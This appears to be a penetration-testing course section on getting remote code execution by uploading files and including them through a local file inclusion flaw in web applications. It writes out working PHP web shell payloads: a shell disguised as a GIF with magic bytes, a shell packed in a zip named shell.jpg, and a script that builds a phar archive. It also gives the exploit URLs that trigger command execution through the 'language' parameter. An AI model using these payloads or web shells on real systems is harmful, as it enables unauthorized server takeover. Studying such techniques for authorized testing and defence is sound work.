For the attack we are going to discuss in this section, we do not require the file upload form to be vulnerable, but merely allow us to upload files. If the vulnerable function has code Execute capabilities, then the code within the file we upload will get executed if we include it, regardless of the file extension or file type. For example, we can upload an image file (e.g. image.jpg), and store a PHP web shell code within it ‘instead of image data’, and if we include it through the LFI vulnerability, the PHP code will get executed and we will have remote code execution.
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| PHP | |||
include()/include_once() | ✅ | ✅ | ✅ |
require()/require_once() | ✅ | ✅ | ❌ |
| NodeJS | |||
res.render() | ✅ | ✅ | ❌ |
| Java | |||
import | ✅ | ✅ | ✅ |
| .NET | |||
include | ✅ | ✅ | ✅ |
Image upload
Crafting Malicious Image
Our first step is to create a malicious image containing a PHP web shell code that still looks and works as an image. So, we will use an allowed image extension in our file name (e.g. shell.gif), and should also include the image magic bytes at the beginning of the file content (e.g. GIF8), just in case the upload form checks for both the extension and content type as well. We can do so as follows:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifWe are using a GIF image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type
Uploaded File Path
Once we’ve uploaded our file, all we need to do is include it through the LFI vulnerability. To include the uploaded file, we need to know the path to our uploaded file. In most cases, especially with images, we would get access to our uploaded file and can get its path from its URL. In our case, if we inspect the source code after uploading the image, we can get its URL:
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">With the uploaded file path at hand, all we need to do is to include the uploaded file in the LFI vulnerable function, and the PHP code should get executed, as follows:
To include to our uploaded file, we used ./profile_images/ as in this case the LFI vulnerability does not prefix any directories before our input. In case it did prefix a directory before our input, then we simply need to ../ out of that directory and then use our URL path, as we learned in previous sections.
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=idZip Upload
As mentioned earlier, the above technique is very reliable and should work in most cases and with most web frameworks, as long as the vulnerable function allows code execution. There are a couple of other PHP-only techniques that utilize PHP wrappers to achieve the same goal. These techniques may become handy in some specific cases where the above technique does not work.
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn’t enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg), as follows:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phpEven though we named our zip archive as (shell.jpg), some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed.
Once we upload the shell.jpg archive, we can include it with the zip wrapper as (zip://shell.jpg), and then refer to any files within it with #shell.php (URL encoded). Finally, we can execute commands as we always do with &cmd=id, as follows:
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=idPhar Upload
Finally, we can use the phar:// wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php file:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();php --define phar.readonly=0 shell.php && mv shell.phar shell.jpgNow, we should have a phar file called shell.jpg. Once we upload it to the web application, we can simply call it with phar:// and provide its URL path, and then specify the phar sub-file with /shell.txt (URL encoded) to get the output of the command we specify with (&cmd=id), as follows:
There is another (obsolete) LFI/uploads attack worth noting, which occurs if file uploads is enabled in the PHP configurations and the phpinfo() page is somehow exposed to us. However, this attack is not very common, as it has very specific requirements for it to work (LFI + uploads enabled + old PHP + exposed phpinfo()). If you are interested in knowing more about it, you can refer to This Link.